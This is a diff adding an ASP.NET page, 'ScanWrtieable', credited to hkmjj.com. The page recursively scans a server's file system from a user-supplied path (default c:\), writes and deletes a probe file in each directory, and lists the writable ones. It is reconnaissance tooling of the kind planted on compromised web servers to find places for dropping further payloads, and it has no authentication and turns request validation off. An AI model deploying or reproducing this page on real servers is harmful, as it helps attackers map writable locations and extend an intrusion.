|
| 1 | +<%@ Page Language="C#" ValidateRequest="false" %> |
| 2 | +<%@ Import Namespace="System.IO" %> |
| 3 | +<%@ Import Namespace="System.Text" %> |
| 4 | + |
| 5 | + |
| 6 | +<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> |
| 7 | +<html xmlns="http://www.w3.org/1999/xhtml"> |
| 8 | +<head runat="server"> |
| 9 | + <title>ScanWrtieable</title> |
| 10 | +</head> |
| 11 | +<body> |
| 12 | + |
| 13 | + <script runat="server"> |
| 14 | + |
| 15 | + protected void Page_Load(object sender, EventArgs e) |
| 16 | + { |
| 17 | + } |
| 18 | + int cresults; |
| 19 | + protected void ScanRights(DirectoryInfo cdir) |
| 20 | + { |
| 21 | + try |
| 22 | + { |
| 23 | + if (Int32.Parse(TextBox_stopat.Text) > 0) |
| 24 | + { |
| 25 | + if (cresults > Int32.Parse(TextBox_stopat.Text)) |
| 26 | + return; |
| 27 | + } |
| 28 | + DirectoryInfo[] subdirs = cdir.GetDirectories(); |
| 29 | + foreach (DirectoryInfo item in subdirs) |
| 30 | + { |
| 31 | + ScanRights(item); |
| 32 | + } |
| 33 | +
|
| 34 | + File.Create(cdir.FullName + "\\test").Close(); |
| 35 | + |
| 36 | + this.Lb_msg.Text += cdir.FullName+"<br/>"; |
| 37 | + cresults++; |
| 38 | + File.Delete(cdir.FullName + "\\test"); |
| 39 | +
|
| 40 | + } |
| 41 | +
|
| 42 | + catch { } |
| 43 | + } |
| 44 | + System.DateTime start = DateTime.Now; |
| 45 | + protected void ClearAllThread_Click(object sender, EventArgs e) |
| 46 | + { |
| 47 | + this.Lb_msg .Text= ""; |
| 48 | + cresults = 0; |
| 49 | + ScanRights(new DirectoryInfo(Fport_TextBox.Text)); |
| 50 | + TimeSpan usetime = System.DateTime.Now - start; |
| 51 | + this.Lb_msg.Text +="usetime: "+ usetime.TotalSeconds.ToString(); |
| 52 | + } |
| 53 | + |
| 54 | +
|
| 55 | + </script> |
| 56 | + |
| 57 | + <form id="form1" runat="server"> |
| 58 | + |
| 59 | + <div> |
| 60 | + start<asp:TextBox ID="Fport_TextBox" runat="server" Text="c:\" Width="60px"></asp:TextBox> |
| 61 | + Stopat <asp:TextBox ID="TextBox_stopat" runat="server" Text="5" Width="60px"></asp:TextBox>files |
| 62 | + <asp:Button ID="Button" runat="server" OnClick="ClearAllThread_Click" Text="ScanWriterable" /><br /> |
| 63 | + <asp:Label ID="Lb_msg" runat="server" Text=""></asp:Label> |
| 64 | + <br /> |
| 65 | + </div> |
| 66 | + <div>Code By <a href ="http://www.hkmjj.com">Www.hkmjj.Com</a></div> |
| 67 | + </form> |
| 68 | +</body> |
| 69 | +</html> |
0 commit comments